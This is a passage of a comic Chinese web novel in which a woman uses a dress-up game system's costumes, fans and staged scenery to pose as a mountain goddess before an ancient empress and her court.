《就算拿了普通系统也要当神明》
1. 靠换装系统装神明1
“你要成为大周天子心尖上人,做他独一无二的白月光、朱砂痣,最好能做到皇后的位置,如果可以的话就做到影响力始于后宫达于前朝遍布天下!明白吗?”
姒昭:“明白。”
系统在心里颔首,虽然不觉得她能做的多么出类拔萃,却满意于这次的宿主态度诚恳积极:“好,那么你现在先换一套抓人眼球的衣服,完成与天子的惊艳邂逅……”
“等一下,”姒昭打断了它:“我记得这个任务是可以自选时间节点和邂逅地点的,没错吧?”
系统:“是这样没错,但根据系统算法,我已经帮你选择了对任务最有利的时间点,这边不建议您自行改变时间点哦。”
姒昭望着有关大周的背景介绍,胸有成竹地表示:“你放心吧系统,我心里有数。”
她选定一个时间节点:“麻烦把我传送到这个时间点,谢谢。”
系统:“???你要干嘛?这时候攻略对象还没出生啊喂!”
*
大周王朝明盛三年,天子姬荣除奸臣,平叛乱,破南蛮,正是春风得意之际。
如此功绩,自然该上告祖宗、下赏臣民。
巍峨的泰和殿内,天子高坐明堂。她算不上多么年轻貌美,但周身的气势却随着时间的流逝在权力滋养下愈发磅礴,只需要坐在那里就耀眼庄严得让人无法忽视。
姬荣的目光扫过,席间觥筹交错,其乐融融,在她而今如日中天的权势下,即使那些迂腐的男臣也乖巧的闭着嘴做出一副恭敬模样,风平浪静。
可为何,她心中总有股不安的气息盘亘?
呼——
似有风来,又似有人在耳畔吹了口气,蜡烛晃动起烛焰,动作不大,却让姬荣心头猛地一跳。
好好的大殿里,她又居上首,哪儿来的风,又有谁感在她耳畔吹气?
没等天子做出反应,一阵迷雾突兀地笼罩了大殿,浓郁而惨白,遮蔽了百官的视线。
大喜的日子为何会生出这等变故?
顾不得更多的东西,忠心耿耿的官吏们心头一紧,比起来历不明的雾,她们更害怕有人趁机对皇帝不利,以宰相上官玥为首的女官们大声叫着护驾。
“嘻——”
一片混乱中突兀地传出女子嬉笑之声,空灵而诡异,满座皆惊。
上首的姬荣莫名被这一声惊的心惊肉跳,恍惚间又觉有风来。
这次不是错觉。
风来得诡异蹊跷,和刚刚那阵雾一样,如涨潮的海水瞬间灌满了辉煌的殿,风势猛而急,吹得文武百官衣衫凌乱,王侯将相长发尽散。满殿烛火摇曳,投下的黑影如潮水汪洋,莫名让人心惊肉跳。
更别说那风久久不散,吹的人几乎睁不开眼,又直往人骨头缝里钻,更是平添几分森然鬼气。
席间百官不是傻子,自然也明白大殿内不该有如此阴风,更何况……风吹雾散,她们似乎瞥见有人影穿梭于满堂坐得规规矩矩的官员间,身姿矫健,似人似兽。
不多时,风渐渐停了,所有人清楚地看见了带来风与雾的人——或许那不是人,她上半身生的与人类无异,下半身却是兽的模样,雪白夹杂着黑纹的皮毛,矫健的兽腿,行走间悄无声息的肉垫,长而有力似鞭的尾。
她出现即是神秘行走于世间。
而所有的一切里最让人惶恐的是,她,或者说是祂,正居于天子身旁,手掌覆于天子颈上。
这是赤裸裸的挑衅与威胁。
那是天子的御座,古往今来除皇帝外无人可染指。不,不要说染指,哪怕是靠近,那都是一种僭越,一种对皇权的挑衅。而今那个人不仅靠近,与皇帝共同俯视着朝臣,她的手还搭载一个致命的位置,不亚于一场逼宫政变。
但是,如今做这件事的存在,祂似乎超脱于人间的一切。这样的存在真的会在意皇权与皇位吗?
相似的念头滑过百官的心中,上官玥明白,这恰恰是皇帝从那东西手中保命的关键。
姬荣能清晰地感受到祂的手掌正搭在她的脖颈上,那手是温热柔软的,没有半点茧子,和每一个家境优渥养尊处优的贵女相似。
但同时姬荣也能清晰地看到她下半身兽的形态,皮毛泛着光泽,腰际人与兽的过渡没有半分造假痕迹,更别说上一秒才褪去的风与雾……
无可否认的非人存在。
“姬氏女……”
凝重的气氛里,姒昭幽幽开口,打破满室静默。
烛光摇曳,姬荣可以看得清她的样貌,山岳做眉,碧潭为眼,额间悬着初生的红日,青红交织的神秘纹样自眼角蔓延,每一处,都带着山林的威严与野性。
四目相对,套装自带技能【震慑】发动。
姬荣的头蓦然一疼。
天子忍下了那阵疼痛,克制住自己的举动,没有贸然开口接话。她与生俱来并在数不清的政治斗争中磨砺出的直觉告诉她,【祂】无需她说什么。
“呵——”
果然,姒昭再度开口了,一声似冷嘲似威吓的冷呵后,她的手缓缓摩挲着姬荣的脖颈:
“【她】的后代,理当该给我一场祭祀。”
说罢,她收回了手。看着她不再做出那极具威胁性的动作,姬荣及下首的官员终于松了一口气。随机又陷入了思考:【她】是谁?与祭祀有何关联?
而意识之内,系统生无可恋,疯狂质问姒昭:“你干嘛?你到底要干嘛啊?!”
按照原定计划,她们要攻略的是姬荣的儿子,下一任皇帝,一个男皇。
而姒昭选择的这个时间点,那皇帝还没出生。
系统最初以为姒昭喜欢年下,又一想说不定她还能帮着男皇帝登基混个从龙之功,有这功劳,完成任务成为皇帝心尖上独一无二的人岂不是容易了很多?
结果姒昭找准时间后刷地就换上稀有套装【林野迹】潜入宫了,接着又根据系统自带地图定位了皇帝和重要大臣所在的位置,又刷一声潜伏过去了。
感谢良心的系统,稀有套装的能力确实对得起它的价格。
和每个换装游戏一样,姒昭套上后完全看不出伪造痕迹,不仅如此行走间也确实如虎跃山林般矫健有力,眼睛炯炯有神,让她得以借着迷雾掩护窜到姬荣身边。
这时候系统以为她是个百合,想着哎呀算了是就是吧,总之只要攻略的是皇帝就行。
它还很善良地提醒了一下姬荣不是拉拉,
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而且就算是要封她为皇后也很不现实。
然后它就被姒昭甩到姬荣旁边并让它往人家后颈和耳朵吹气。
再然后就是姒昭的华丽出场——稀有套装【林野迹】初次出场自带迷雾效果,山林里常有的那种雾,脸上那些纹路自然也是这个套装的自带妆容。
至于风嘛,那是姒昭从商城里买了一堆鼓风机和电风扇,然后放系统空间里往外吹风——换装系统哪儿能没个商店呢?
而且考虑到她们来的是古代背景的世界,商城推出的套装都是中式古典的,现代风格的有但基本不展示出来,宿主要买的话价格也低。
毕竟套装的部件是可拆卸的,某些服装也确实会配套这类东西,现在正好都便宜了姒昭。
不过即使如此,作为一积分没有的新人宿主,姒昭买套装加这些东西也已经倒欠了不少积分。
她必须在任务结束后还完这笔帐,不然就只能把灵魂抵押给主神打黑工,而作为带出这种宿主的系统,自然也必须接受相应的惩罚。
面对几乎要口吐白沫的系统,姒昭淡定地挥挥手:
“安啦,我这一生行善积德,肯定不会有这种下场的啦,你安心看我宠冠六宫就好。”
泰和殿内,姬荣心中思绪千回百转,最终试探着开口:
“不知是何方尊驾当面,既需祭祀,可否请教尊号?”
得知其名号,或许能从各类古籍中探知对方的底细。
没办法,谁让姒昭来的猝不及防,虽说古代不怎么讲唯物主义,又有神权与皇权的结合,说书人讲的故事里也少不了怪力乱神的事,但听说和亲眼看见是两码事啊,且姒昭出场的方式和形象……怎么看怎么不是好人。
姬荣不觉得自己的话有什么问题,却见面前的存在嘴角瞬间压低了三分,山岳绘的眉微蹙,面上霎时间笼罩上了阴云。
“你不认得我?”
淡定如姬荣也被她搞懵了一瞬,心说我真不认识,但面上还是一派面对鬼神的恭敬和谦逊:
“荣不过区区凡人,不敢胡乱攀认”,说着,她微抬眸望了眼姒昭:“此前,确实未曾有幸见过尊驾。”
然而姒昭并不因她的话而有所动容,神情依旧算不得愉悦,说出的话也让人摸不着头脑:
“我当然知道你未曾见过我”
那双碧绿深潭的眼眸掠过她,似乎藏着某些姬荣看不懂的深意,又好像什么都没有。
姒昭放松身体,靠在天子的御座上:
“吾巫山神女也”
她回答了之前姬荣的问题。
“按照约定,作为姬氏女,你该给我一场祭祀”
满座皆惊。
神女放松而懒散地舒展着身体,展颜轻笑:
“在得到我应得的祭祀之前,我会一直留在这里的,直到你们给我本该属于我的。”
“顺便,”她拖长了嗓音,笑容里带着某种她们看不明白的意味:“看看这人间的模样。”
神的目光肆无忌惮地扫过姬荣——那种对于帝王来说简直是放肆的、淡然而目空一切的眼神,看蝼蚁的姿态:
“我的居所在哪里?”
如此狂妄傲慢,理所应当。
2. 靠换装系统装神女2
本该其乐融融的盛大宴会最终虎头蛇尾地结束了。
有那样让人心惊的鬼神在,谁也难安心享乐。至于原本的庆功目的嘛,谁又敢冷落鬼神,谈些别的东西?
整场宴会下来,只有姒昭一个人舒服了。
她自称巫山神女,又携山林的风与雾到来,纵使凡人心中有再多想法,只肖瞧一眼她那人身与兽身共同组成的身体,也只能战战兢兢摆出恭敬的模样讨好她。
她既然说要留下等那场祭祀,姬荣便也只能献上最华丽的宫殿作为她暂时的居所。
早在离开泰和殿之时姒昭就换下了套装【林野迹】,转而穿上系统赠送的新人福利套装,嗯,就是一件很普通的襦裙,不附带什么特殊效果或者技能,毕竟是免费的。
姒昭的初心只是觉得她不能在所有人面前以半人半兽的模样离开——不管像人一样站着走还是像兽一样四脚朝地都会破坏她神明的格调。
但在那些见识过她半人半兽模样的人眼里,这就是神利化身为人隐匿人间的法术。
宫殿之内,姒昭屏退宫人,开始结算任务。
【主线任务一:和皇帝惊艳邂逅已完成。
任务评价:完美
任务奖励:积分×800,普通套装×1,每日(限一日三餐)自选套餐(可选择更换奖励)】
【主线任务二:入住后宫,在后宫拥有一席之地
任务评价:完美
任务奖励:积分×800,普通套装×1,特殊染料×3】
惊艳邂逅……嗯,她的出场很惊艳了,入住后宫的话,姒昭亲口说的要留下,谁敢不同意?
不仅要欢喜地迎接她,还得奉上最华丽的宫室。
话说要不是为了这个主线任务二,系统毫不怀疑姒昭会直接让皇帝把寝宫腾出来给她住。
现在,面对任务奖励,姒昭:缓缓打出一个?
“系统,麻烦解释一下,这个每日自选套餐是?”
这边系统还沉浸在“任务居然完成了”“任务评价居然是完美”的震惊里,听到姒昭的话飘飘悠悠地给她解释:
“就是你想的那个意思,自选一日三餐,选了之后可以在系统空间吃。”
“当然,你也可以选择不要这个奖励,换一个同等的奖励,比如基础染料、抽一次套装之类的”
它还给详细解说了一下:“你知道的,古代饭菜跟你们现代人口味不符,很多宿主就是因为饭难吃加人生地不熟做任务毫无动力,有的直接放着任务不做跑厨房做厨子教人做饭去了”
当然了,很多东西古代是没有的,那些宿主也未必能吃到想念的味道。
至于为什么最多限制一日三次……因为之前有人利用这个bug养军队和死士自己当皇帝了。
姒昭竖起来大拇指:“厉害。”
她穿了套装的时候倒是可以保持完美形象,不会突然打喷嚏打嗝想上厕所什么的破坏形象,但她本质上还是肉体凡胎的人,需要吃饭上厕所睡觉。
可是她现在是神女哎,怎么可以连辟谷都做不到?
这不瞌睡碰着枕头了吗?她完全可以在系统空间解决一切生理需求,出来再换上套装保持形象。
而且最重要的是,这个套餐它是可以自选的……
姒昭眨了眨眼睛,笑容纯良:“也就是说,我要吃什么都可以?生的冷的都行?”
系统忽然感觉背后冷飕飕的,但看着宿主那单纯的笑容,肯定道:
“可以啊,不过仅限食物哦,像什么说自己是异食癖要吃塑料是不行的,我们不招收身患疾病不适合这份工作的员工”
其实主要是之前有个宿主是军人来着,说自己异食癖要吃炮弹什么的,然后借此又又又一统天下当了皇帝。
姒昭闻言露出了然的表情:“好的,那我就要这个奖励,不改了。”
虽然“异食癖”被禁止了,但是可操作空间还是大啊。
堪称无敌大的地步。
抽卡机会以后还有,再说就这么一次能抽出个啥,她自己的体质自己知道,绝非欧皇,十连抽都能歪。
根本不带犹豫就选一日三餐。
“不过,”姒昭望着那个“积分×800”,心中疑云遍布:“完美级评价就那么点积分?”
区区八百,再看看她为了拿【林野迹】负的债,再来十个任务都不够还的。
系统解释道:“因为这是第一个任务啊,有换装模板的帮助一般来讲毫无难度吧,当然不可能给出很高的奖励啦。”
“不过没关系的,越往后走完成任务给的奖励就会更多,如果你能把各种支线和成就都打出来,那会获得更多的积分更多的奖励哦!”
主线任务比如“和皇帝惊艳邂逅”是必做的,但诸如“诞下一个皇子”这种支线就不是。
只不过二者是相互联系的,支线的完成也是会影响主线的。
“哦。”姒昭点点头表示了解。
原来是这样。
那就好办了。
任务这栏看完了,姒昭划到顶着小红点的【成就】那栏,她还真打出成就了。
一打开就是响个不停的提示音:
“恭喜你打出成就【万众瞩目】”
“恭喜你打出成就【心旌摇曳】”
“恭喜你打出成就【道阻且长】”
和任务不同,打出成就不仅会奖励积分。
每集齐三个成就还可以免费抽一次套装,抽一次要么出一整套珍奇套装,要么分别出十个不同的部件,包括衣服饰品头发妆容等,这些部件里有珍奇、稀有、普通三个等级,有可能重复。
总结一下就是:这是欧皇的抽卡游戏。
系统看着屏幕上那三个成就,无语凝噎。
它要是没记错的话,万众瞩目是让宿主惊艳别人、靠魅力引的所有人对她侧目吧?
不是让她先把所有人收拾一顿再以那种明显会吃人的非人存在外表去胁迫皇帝吧?
而心旌摇曳同理,是要让人家为你心动,不是恐惧到心惊肉跳啊喂!
道阻且长的话,原本是说虽然追求你和你在一起的路艰难又漫长,但我愿意为你走上这条路并一直走下去。
而姒昭,她在宴会结束后强制性命令皇帝送她回去的,皇帝就是觉得那路难走又漫长。
姒昭:哎呀不要在意那么多细节,总之我就是打出成就了啊。
这边姒昭和系统气氛温馨和谐,那边的天子及其肱骨心头却沉的像压了块大石。
案上的兽首香炉正燃着静心凝神的香,可殿内的人眉间都笼罩着阴云。
“如何?可有找到关于巫山神女的记载?有什么地方曾供奉过神女?”
姬荣思来想去,确定自己过往与这位从未有过交集,可对方明显是冲她来的,且言语间笃定她应当认得祂,这着实令人费解。
下首的官员们面露难色:“回陛下,各类志怪文集、古书中,俱未有过关于巫山神女的描述。”
众人神色各异,未曾有过记载的神……她真的是正道神明吗?
事实上,若因书无记载就疑心一个确切展现神迹的存在确有偏颇,但真正让她们疑心的是其它东西。
诸如那惨白如死者面色的雾,几乎吹到人骨头缝里的阴风,还有她半人半兽的模样,嚣张乖戾的性格。
王朝更迭数代,上古时期那些关于神明的荒诞神异而可怖的记载多已遗失或经过多重修改美化,那兽身食人的茹毛饮血的古神早已被镀上道德的荣光,大周人民所了解的多是神爱世人与拯救世人的故事。
她们所知的神仁慈而美丽,威严而慈悲。
像姒昭这样的脾气,这样的外貌,在各类故事里多是妖鬼一类的存在。
沉默里上官玥率先开口了:
“倒也不尽然”
“有书记载,昆仑丘有众女仙之首西王母,其状如人,豹尾虎齿而善啸,蓬发戴胜。”
“可见确实有这样的仙”
言下之意,姒昭也许就是这样的仙。
她明白帝王在忧心什么,天子即代表周,若巫山神女并非真神而是山野精怪,那被迫祭祀祂的大周又是什么?
若她日真仙临世,看到周祭拜山精野怪,难保祂会做些什么。
“且……世间也有
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记载人间帝王封禅泰山一说”
前朝的帝王也曾封禅山神,姬荣又有何不可?
没有正统帝王会祭祀山野精怪,为了维持并保证周的正统与天命之说,姒昭必须是真仙,哪怕不是,若周不得不给出祭祀,她也必须是。
哪怕以周王封禅的方式。
另一边的平昭将军姜玘——即攻破南蛮的将领,也开口道:
“臣观巫山神女所做所言,其行事看似洒脱率性不拘一格,实际上却进退有度,未曾真正伤及无辜,想来也是位敬畏天道的善神。”
“而神明降世,又与陛下有旧”,将军微微一笑:“这是好事啊,陛下。”
底下众人:……洒脱率性?不拘一格?进退有度?善神?
论说话的艺术与脸皮厚度还是得看您。
但古话说祸兮福之所倚,神降大周,怎么不算一种“天佑大周”“天命在我”?
对周而言又何尝不是一种机遇、一份大机缘?
那可是神啊,祂又向周要了祭祀,那么按照自古以来的道理,自然也理当庇护周,给予周机缘。
即使没有,神明的存在本就是一种庇护,一种神眷,到时候把真神现世、神临大周的消息传出去,于统治也是有极大裨益的。
人是很奇怪的生物,她们好像很谦卑恭顺,又似乎很狂妄贪婪。
上一秒不敢直面神威,下一秒却敢算计着神明,乃至弑神。
归根到底,她们只信利益,只信自己,只要能让她们日子过得好,什么神都可以信。神,亦是谋利的工具。
这两位一席话下来,不仅姬荣心里是舒服了不少,殿内几位心情沉重的也轻松了许多。
虽然上官玥和姜玘的语言有过修饰,但仔细一想,是有那么几分道理。
尤其姬荣作为事件中心人物,之前猝不及防身陷囫囵,【震慑】的效果持续至今,当局者迷,而今经过一番分析劝慰才逐渐走出来,开始正式参与到局势分析中来。
“继续找,”天子开口了:“一切可能与巫山神女有关的记载——不,一切与神明妖鬼有关的,都需仔细对待。”
先前那么短的时间,她们自然不可能阅遍所有书籍。
“至于【姬氏女】……”
这是让天子迷糊的地方了。
“朕确实不记得有姬姓祖先同神女有旧。”
遥远的,上古的传说早已面目全非,更何况天下男女多随父姓,记在族谱上的也几乎无女子,她哪里知道那个【姬氏女】是谁?
姬荣揉了揉脑袋:“还是先考虑祭祀一事吧。”
这也是个难题,真神就在面前,倘若她对祭祀不满……
户部尚书缓缓开口:“陛下,臣以为,神女是醉翁之意不在酒,或许祭祀只需按礼制来办即可,真正重要的,还是如丞相将军所言。”
姬荣怔然,是了,是了,普天之下能把素不相识者联系在一起的无非是利用与感情。
神女此来要一场祭祀,毫无疑问有【姬氏女】的缘故,但作为周的帝王,她应该思考的是如何利用好这份不知来源的感情,再添上利益,从神女那里换来大周所需要的。
古往今来,无数的人求神拜佛,而今神就站在她面前,她不能做那好龙的叶公,当做那敢求雨露之人。
思及此,帝王展颜轻笑:
“卿所言极是。”
“神女既临,又与朕有渊源,或许,祂愿意垂怜,为周的国师也未可知,而作为国师,或为守护神,周自然愿千秋万代的供奉神女。”
总之重要的是,先留下神女。
一句话,攻守之势异也。
看似全然的颓势瞬间转为了对双方都有利的局面。
辉煌威严的殿内,满座的帝王及其肱骨的眼神锐不可当,藏着猛虎,又藏着豺狼鬣狗。
她们是女人,在一个男子当道女子只能退居内宅的时代走到了全天下的最高座的女人,贪婪,野心,手段,缺一不可。
她们对所有阻挡她们的人露出獠牙,撕咬啃食每一个怀着利益的人,即使现在面前站着的是神,也敢上去咬一口,搏一个前程似锦。
3. 靠换装系统装神明3
黄昏,逢魔时刻。
夕阳落晖,将万物笼在一层昏黄的寂寥里。
聆风阁依水而建,当风涉水而来,便也添了一丝水的柔与冷。
帝王绣有山河纹样的衣袖垂落,遮住了她搭在栏杆上的手。
那双手属于帝王,也属于女人。绣过花,习过剑,拿得起眉笔,也执掌过国玺。她站在至高处,功绩卓越,本该志得意满,春风得意。
偏偏鬼神降世,且很明显是冲她而来,她不得不去思考更多的、超脱于世俗且无可借鉴的东西。
在这个神权尚且举足轻重、鬼神色彩较浓的时代,走错一步,或许就会惹得神发怒,让大周走向灭亡,万劫不复。
风又起,夹杂着藤芷的清芬。
那是她熟悉且不会忘却的味道,是那夜宫宴上,注视鬼神的眼眸时所闻见的,山林的气息。
她的心头有那么一秒钟划过疑惑,疑惑神女为何在此,转而又恢复平静,那是神,行走于天地间任何地方如行于一室之内,踏足哪里都不奇怪,无需给人解释。皇宫或许于凡人而已应当敬畏,但那是神。
姬荣肃而回望,不出意外地瞧见缓步而来的姒昭。
此时的神女以人身示人,穿着再普通不过的凡人样式的衣裙,看起来就是芸芸众生中平平无奇的一人。
但是当姬荣对上她的视线,直视她的脸,恍然间又看见了那夜那张山水日月同绘的、属于神的脸。
而即使是现在这张褪去那些神秘的纹路,与凡人有着同样黑发黑瞳的素净脸蛋,也精致地让人感到惊恐:没有毛孔,没有瑕疵,好像在欢喜,又似乎在哭泣。
脖颈上搭着神女的手时那种惊悚的感觉又重新涌上心头,姬荣的脑袋又开始隐隐眩晕了。
千人千面,但神似乎做到了同时生着千万张脸孔。
在姬荣看不到的地方,姒昭指挥着系统不停地给她切换目前拥有的所有妆容,轮回切换,平均一秒十次。
至于脸孔漂亮完美,换装系统的妆容可能猎奇,但绝对精致到毛孔都给你遮得严严实实,修出一张建模脸。
待立于姬荣身边,姒昭嗓音淡漠:
“姬氏女,你似乎不开心。”
姬荣怔了一瞬才反应过来神女问的是自己。
她姓姬,也是【姬氏女】。但在此之前,她一直以为神女口中的【姬氏女】是特指某个真切与神女有约的人。
短暂的愣神过后,她回答道:
“只是忧心祭祀不能让神女满意。”
话语间做足了恭敬的姿态。
见姒昭不语,神情依旧,姬荣试探着开口:
“凡人愚钝,难测神心,或许得神女提示后,周能给出一场更加完善的供奉。”
她悄无声息地把主体从自己换成了周,根据她从各类书籍所见的记载,神也受到天地规则与因果的束缚,周既举国供奉一位神,那神也当给予庇护。
这是她的心思,但她并不明说,避免触怒这位喜怒无常的神明。
姒昭的手指轻敲栏杆,声音里喜怒不辨:
“忧心祭祀?难测神心?”
她直视姬荣的眼,恍惚间姬荣觉得自己又看见了那绿的仿佛凝萃了整片山林与深潭绿意的眼。
“姬氏的后代,已经无能到这个地步了吗?”
姬氏,姬氏女,又是姬氏,这究竟……与她有什么关系!又与神明有何渊源?
这么想着,她也这么问了。
“神女,荣有一问,还请神女解惑”
“荣虽承姬姓,但自认并无特别之处,也未与神女有旧,何德何能得神女青睐?”
来了!
姒昭暗自打起了精神,不枉她那么卖力地装神弄鬼……不是,扮演神明。
恰有风来,神女衣袂飞扬,夕阳的余晖勾勒出她寂寥而孤高的身影,逶迤的裙摆似乎凝结了亿万年的孤寂。
“天有扶桑树,”神女开口了:“沟通天地。”
天庭?这是……神的世界。姬荣心里仿佛被重重锤了一下,屏息凝神生怕听漏了一句话。
“上古时期,太阳神君羲和司掌扶桑,自金乌一族中选拔出十二个最优秀的金乌,轮流担任太阳的职责,每日落于扶桑神树上播撒光芒与热量,照耀人间。”
“后有神明妄图染指太阳权柄,与金乌一族斗法,业火于天庭燃烧,十二金乌同落扶桑树,人间出现了十二轮太阳,大旱多年,生灵涂炭。”
气氛正凝重,姬荣听得十分认真,即使姒昭言语间无一字提及凡人姬氏,可这是天庭之事、神明之事,每一个字眼都带着凡人难触及的神秘气息,描绘出一个瑰丽的世界,怎能不让人心驰神往?
但姒昭的声音在这里戛然而止。
嗯?
姬荣满心疑惑,她还不知道这和姬氏女有什么关系呢!
看出她的疑惑,姒昭笑得神秘,拉长了嗓音:
“若想知道后面的,你要自己看才是。”
自己看?
姬荣愣在原地。
她是凡人,并无神明那能看到古今往事、天庭辛密的眼睛,如何才能看到?
带着凉意的风吹来,天子恍然惊醒,这才发现面前已空无一人,神女早已离去。
坏了!
姬荣猛然想起,自己还没向神女询问是否愿长留大周、乃至为周之国师的事!
她心知面前的是神,不是可以被凡俗之物打动的,却也愿意找准时机迂回试探着表露这个意思,总归试试又不吃亏,若成了,却是周之大幸。
而另一边,姒昭正在看系统面板,喃喃自语道:
“这个【回眸一笑】的技能效果果然不错,能硬控对方愣神三秒,适合偷袭和逃跑。”
她刚刚就是对姬荣发动了这个技能然后偷偷躲系统空间,等姬荣走了才出来自己走回住所。
系统:……绝倒在地。
拜托!谁家换装系统的技能拿来偷袭逃跑?!
不都是配合美美的裙子展现魅力,把所有人迷倒在各套装和宿主的美貌之下的吗?!
它自以为躲过了精通水泥肥皂炼钢等的数理化宿主——之前有这种大姥凭借渊博的知识让大周科技以坐火箭般的速度发展;
躲过了当基层扶贫干部这一类的宿主——某个系统的宿主就是这个类型,放着宠妃不做,跑基层扶贫去了,成绩斐然,死了还有百姓自发为此立庙;
躲过了世家大族甚至外国皇室养出来的大小姐公主甚至国王等政治怪物——哈哈是的没错这类宿主给自己干到宰相的不少;
这还只是从无魔法科技发展水平一般的世界挑选的宿主,更别提那些从修仙界、星际选的宿主——这类宿主通常是系统眼里的魔鬼,修仙界的即使没了法力也能徒手拆系统,星际的没了超能粒子炮也能对轰统子;<
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它,英明神武的统子3437,特地从一个普通世界选了一个普通宿主,怎么还会落得如此境地?
看着姒昭开始构思之后的扮(装)演(神)神(弄)明(鬼)剧本,系统流下了心酸的泪水。
*
姬荣一直没弄明白那句“自己看”是什么意思,直到夜幕降临,她沉沉睡去。
本陷在睡梦中的帝王忽觉大风刮过,冷的人瑟瑟发抖,迫使她清醒过来。
可当姬荣睁开眼睛一瞧,又觉得自己必然还深陷梦中。
只见一轮皎洁的明月近在咫尺,似乎抬手就可触碰到,如梦似幻的轻烟弥漫在周身,月华似那极致柔软的白绸垂落人间,有星星点点的萤火点缀在空中。
“这莫不是天上景观?”
人间的天子恍惚一瞬,不觉轻移脚步,想要去触摸那轮明月。
然而随着她的动作,细微却明显的水波声响起,姬荣低头一看,原是她的动作惊起一道道涟漪。
原来她正立于水中,只是这水清且浅,堪堪没过脚面,这才没叫她一来便察觉。
这是梦吗?
姬荣环顾四周,不见水的边界,只有碎玉似的奇花盛开在水面上,或争奇斗艳,或含苞待放,走近一瞧,花心正中沉睡着月光。
再抬头仰望,始终摸不到那看似触手可及的月亮。
这是梦罢。
她自问人间无此奇观,也只能是一场梦。
想起黄昏时与神女的对话,姬荣心中有了计较,只耐下心来,等着用自己的眼睛去看神女要她看的。
“系统系统,呼叫系统。”
躲在空间里观察着姬荣的姒昭也知道到了关键节点,得换场景了:“准备,是时候调换场景了。”
系统生无可恋:“收到。”
虽然姬荣觉得这是个梦,但实际上她是醒着的。
毕竟姒昭目前还没得到类似于“入梦术”“幻术”一类的奖励,她只好借助系统空间配合换上【林野迹】后的矫健身手和潜伏手段闯入天子寝殿,然后趁着姬荣睡着了放倒给她守夜的女官——方法是给人家的食物或茶水里放点褪黑素。
之后再换上一套组合背景:抽套装抽出来的叠上从系统商城买的。
众所周知,换装游戏里各部件是可以搭配使用的。只要用的好,就能发挥出乎意料的惊艳效果。
比如那个寡淡的花,那容易让人忽视的水,只要和月华清辉加萤火叠在一起就显得空灵飘渺,是忽悠没感受过3D技术和VR眼镜古代人的一把好手。
等布置出一个能唬住人的背景之后,她再掀开姬荣的被子,拿出之前买的大功率风扇往她脸上身上吹冷风,这样就达到成功唤醒的目的了。
景已经被改变了,光线又昏暗,姬荣基本不会发现她其实还在寝殿里,就算发现了也关系,姒昭可以让系统打晕她,等姬荣醒来也只会以为自己做了个荒诞的没头没尾的梦。
毕竟宫人都可以作证没人来过她的寝宫。
而且这好歹相当于一个全息投影或者给姬荣带了VR眼镜,一场让人身临其境的3D电影,没那么容易被拆穿。
目睹并参与了这一切的系统表示:它的宿主应该是千娇百媚的宠妃,不是在这里搞诈|骗的奇葩人士。
但再不情愿,再想着雍容华贵的宠妃,作为和宿主一体的系统,它也只能认命地去给姒昭帮忙。
4. 靠换装系统装神明4
宿主与系统齐心协力,倾情打造虚拟世界,努力营造出vr眼镜的效果。
于是帝王便看见,眼前的明月清辉眨眼就不见了踪影,澄澈如月华的水面和奇花也烟消云散。
热浪扑面而来,大地在一瞬间龟裂,河湖干涸不见半分水汽,遍地尸骸。姬荣抬头望去,天上赫然悬着十二个太阳。
她一下子从极清净华美的天上来到了炼狱般的人间。
这是……大旱,神女口中所说的那场大旱。
姬荣心下一沉。
作为一个帝王,她太清楚这种天灾的恐怖程度了。
会死人,会有很多很多,数以万计的人死去。
而百姓活不下去,就会爆发叛乱。
古往今来,多少王朝灭亡于这样的叛乱。
不等姬荣思考更多,场景再度变换。
还是与先前相似的地方,却有些许改变,最显眼就是多出的屋子和那片迷雾。
姒昭:套装部件不够了就这么凑合一下吧。
穿着质朴而简约的女子立于迷雾之前,声音铿锵有力,态度坚决:
“不必再说,我意已决。”
“大旱已持续了那么长时间,我们已经失去了那么多族人,作为族长,又为祭司,我必须担起责任,去找水,找能让族人活下去的方法。”
闻言姬荣眉头微皱:原来上古时期,女子为族长,女子主祭祀吗?可为何大周、不,不止大周,几乎每个国家都是男子为帝,男子主祭祀?且女子被视为低贱不洁,不得进祠堂?
这个念头划过脑海,姬荣眉头紧锁。
再将注意力放回眼前之景,因为站位原因,姬荣看不到那女子的脸,但却能看到和听到她在努力说服面前那道白雾,仔细看去,白雾内确实隐约透出人影。
略微思考,姬荣恍然大悟,这是上古时期的事,故而有白雾遮掩,她作为今人不能窥见全貌,而为何能见那位族长背影,也必然是因为其特殊,或许这就是神女口中的【姬氏女】。
姒昭:差不多吧,但主要是她一个人演不了那么多角色,只能拿白雾遮着做个样子。
但姬荣不知道自己被诈骗了,只觉得自己所思八九不离十。
果然,那雾气下一秒便朝她涌来,又转瞬即逝,再次睁开眼,她看见了参天古木与周围开的盛极的花卉。
牡丹、荷花、雪莲、迎春……凡此种种,说得上名字说不上名字的,大如圆盘小如米粒的,不分时令季节,全部拱卫着那参天大树盛放。
她仰头看去,但见那树冠顶上垂落下一片衣角,极正极庄重的青红金。
……是那夜宫宴上,神女身上那些神秘纹路的色彩。
下一秒,姬荣忽觉有什么冰凉的东西滑过脚边,让她蓦然起了一身鸡皮疙瘩,似有所觉地抬头看去,一条青绿色的巨蟒正从她身侧攀上那颗古木。
帝王抬首,看见了熟悉的存在——神女。
神女如初见一样,半人半兽,虎一样盘踞在成荫绿叶的掩映之中,山川河海俱凝结做她的眉眼,日月点缀于她的额间,而那大的让人心惊、疑心其可吞天的巨蟒正乖顺地伏在神女身旁。
她垂眸,漫不经心地扫过世间。
看似柔弱的青葱手指轻轻一拨,日月轮转,光阴变幻。
而她,始终如一。
无论是时光荏苒还是王朝更迭,不能让她为之侧目,不能在她身上留下半分痕迹。
直到,凡俗中有一人,硬是凭借凡人之躯走到她的面前。
姬荣忙着为眼前所见而震惊,姒昭则一直在心里指挥着系统:
“对对对,这里切近景,要给她一种身临其境的感觉,调一下位置,把这丛花怼到她面前,要让她注意到这是违背时令开的……哎呀,什么骗术,我这叫神迹”
“好了好了,可以拉远一点了,然后你记得换这个壳子从她身边过,记得要碰到她!一定要碰到!”
其实只是帮忙调整部件位置而已。
诚然她可以自己换套装换背景,但切近景远景这事真需要系统协助,不然她一不小心把视角切成俯视仰视就不好了。
还有系统皮套,趁着系统没来得及自选皮套,姒昭提出了建议:要这个可大可小可染色的。
系统,系统生无可恋。
“注意注意,下一幕开始!”
“拉远景,卡视角,一定要有那种自然野性的自由感!还要凸现出神性!给个特写把下面那个被白雾遮蔽的身影显得虔诚但坚定,在神前渺小又伟大!”
“然后再切视角,这次凸现这棵树的古老庄重,神伏在树上显得飘渺逍遥。”
“麻烦你了,谢谢你统统!我知道你一定会是最厉害最贴心的统!”
系统:小脸一红,其实,其实人家也就是一般优秀一般厉害。
